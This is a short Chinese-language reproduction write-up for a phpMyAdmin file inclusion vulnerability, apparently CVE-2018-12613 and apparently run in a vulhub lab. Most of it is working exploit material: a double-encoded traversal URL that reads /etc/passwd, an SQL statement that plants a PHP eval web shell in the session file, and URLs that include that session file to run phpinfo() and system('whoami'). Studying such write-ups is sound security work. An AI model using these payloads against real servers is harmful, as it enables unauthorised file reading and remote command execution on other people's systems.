背景
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
复现过程
漏洞验证
1.使用如下POC,若成功读取/etc/passwd文件内容,则存在漏洞
1 | http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd |

利用session写shell
1.需先登录phpmyadmin,执行sql语句,代码为GET传参,图为POST传参
1 | SELECT "<?php eval($_GET['cmd']); ?>" |
2.F12获取cookie

将cookie的值和sess_拼接,便得到了存储在服务器端的session文件,这里注意,图中的cookie值因测试多次和实际值不一样,因为人懒,懒得再截图。
sess_575f961b1e574936b7a6e1d237f82ade

3.使用POC命令执行
当然实际环境中就根据经验或其他手段来猜测路径了
1 | http://URL:端口/index.php?cmd=phpinfo();&target=db_sql.php%253f/../../../../tmp/sess_575f961b1e574936b7a6e1d237f82ade |

1 | http://URL:端口/index.php?cmd=system(%27whoami%27);&target=db_sql.php%253f/../../../../tmp/sess_575f961b1e574936b7a6e1d237f82ade |


参考链接
http://www.pianshen.com/article/6744149320/
http://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md/